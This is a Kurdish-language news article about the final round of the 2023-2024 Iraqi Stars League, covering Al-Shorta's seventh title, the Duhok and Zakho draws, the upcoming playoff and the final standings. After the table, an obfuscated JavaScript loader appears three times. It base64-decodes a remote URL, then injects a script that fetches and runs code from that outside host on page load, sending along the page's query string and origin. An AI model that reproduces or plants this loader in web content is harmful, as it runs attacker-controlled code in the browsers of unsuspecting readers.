شورتە بۆ قارەمان و دهۆك و زاخۆ بەر ب قۆناغا پلەی ئۆف چوون
پشتی بۆرینا زێدەتری نەهـ مەهان دوهی ب فەرمی هەڤڕكیێن وەزێ 2023-2024 یا خولا ستێرێن ئیراقێ یا فوتبۆلێ ب دووماهی هات ئەوا ب پشكدارییا 20 یانەیان ل26ێ چرییا ئێكێ یا سالا بۆری دەستپێكری، د دووماهی یاری دا كو دبیتە گەڕا 38ێ ژ هەڤڕكیان هەرچار یانەیێن پارێزگەهێ ب ئەنجامێ وەكهەڤی یاریێن خوە ب دووماهی ئینان، یانەیا شورتە بۆ جارا حەفتێ د دیرۆكا خوە دا ناسناڤێ ب دەستڤەئینا.
ب وەكهەڤیێ دهۆكێ رێزبەندیا خوە پاراست
تیما یانەیا دهۆك ب وەكهەڤییا دو گۆلان بەرانبەر مێڤانا خوە یانەیا نەفت ئەلمیسان جهێ خوە پاراست، د یارییا واندا ئەوا دوهی ل یاریگەها یانەیا دهۆك هاتییە كرن، ئەلهۆیێن چیا ب كۆمكرنا 58 خالان ژ 14 سەركەفتن، 16 وەكهەڤی و هەشت خوسارەتی رێزا شەشێ دهێت.
زاخۆ رێزا چارێ ژ دەستدا
تیما یانەیا زاخۆ نەشیا رێزا خوە یا چارێ ب پارێزیت پشتی دگەل خودانێن ئەردی یانەیا تەلەبە یا بەغدایی ب گۆلەكێ وەكهەڤبووین، د یارییا واندا ئەوا ل شەمبییا بۆری یاریگەها زەورا هاتیە كرن، هەرچەندە تیما زاخۆ هەتا خەكا 69 یا پێشكەفتی بوو ب گۆلەكێ لێ تەلەبە شیا گۆلا وەكهەڤیێ بینت، بڤێ ئەنجامێ زاخۆ رێزا خوە یا چارێ ژ دەستدا ب جوداهییا گۆلان بۆ نەجەف هێلا، كوڕێن خابوری خالێن وێ مانە 67 خال ژ 17 سەركەفتن، 16 وەكهەڤی و پێنج خوسارەتی وەرزێ ئەڤ سالە ل رێزا پێنجێ ب دووماهی ئینا.
ژ ئەنجامێن یاریێن دی، هەولێر 4-4 نەورۆز، نەجەف 2- چنە مینا، كەربەلا 1-1 ئەلقاسم، ئەمانەت بەغدا 2-2 نەفت، نەفت ئەلبەسرا 2- چنە كارەبا، شورتە 2-چنە زەورا، جەوییە 3-2 نەفت ئەلوەسەت، حدود 3-2 كەرخ،
قۆناغا پلەی ئۆڤ دەلیڤە بۆ دهۆك زاخۆ پەیداكریە
فیدراسیۆنا فوتبۆلا ئیراقێ راگەهاند بوو كو ئەو یانەیێن رێزێن سێیێ هەتا شەشێ دهێن دێ ب شێوەكێ جودا دەربازبنە قۆناغا پلەی ئۆڤ ژبۆ دەستنیشانكرنا دو تیمان ژبۆ پشكداریێ د قارەمانییا كۆپا یانەیێن كەنداڤییا عەرەبی و قارەمانییا یانەیێن عەرەبی پشكداربن، ل دووڤ سیستەمێ هاتییە دیاركرن خودانا رێزا سێیێ دێ بەرانبەر خودانا رێزا شەشێ كەت، خودانا رێزا چارێ دێ بەرانبەر خودانا رێزا چارێ كەت، سەركەفتیێن وان دێ دەربازبنە یارییا دووماهیێ، هەروەسان قارەمانا پلەی ئۆڤ دێ پشكداری كۆپا كەنداڤییا عەرەبی كەت و تیما دویێ دێ پشكداری قارەمانییا یانەیێن عەرەبی كەت، بڕیارە یاریێن وێ ل دووماهییا ڤێ حەفتیێ بهێن ئەنادان، ئەوا دێ ئەڤرۆ هەتا سوبەهی یاریگەهێن وان هینە دیار كرن، ژلایەكێ دیڤە هەردو یانەیێن نەفت ئەلوەسەت و ئەمانەت بەغدا ب فەرمی پاشڤەچوونا پلا نایاب، هەردو یانەیێن ئەلقاسم و نەفت ئەلبەسرا دێ یارییەكا ڤەبر كەن ژبۆ وەرگرتنا پلێتا مانا خوە د خولێ دا.
لیستا دووماهیێ یا رێزبەندییا خولێ بڤی رەنگی یە.
1- شورتە 87 خال
2- جەوییە 82 خال
3- زەورا 75 خال
4- نەجەف 67 خال
5- زاخۆ 67 خال
6- دهۆك 58 خال
7- نەورۆز 56 خال
8- تەلەبە 53 خال
9- حدود 50 خال
10- نەفت ئەلمیسان 47 خال
11- نەفت 46 خال
12- مینا 42 خال
13- كارەبا 41 خال
14- هەولێر 41 خال
15- كەرخ 39 خال
16- كەربەلا 37 خال
17- ئەلقاسم 35 خال
18- نەفت ئەلبەسرا 34 خال
19- ئەمانەت بەغدا 31 خال
20- نەفت ئەلوەسەت 16 خال.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
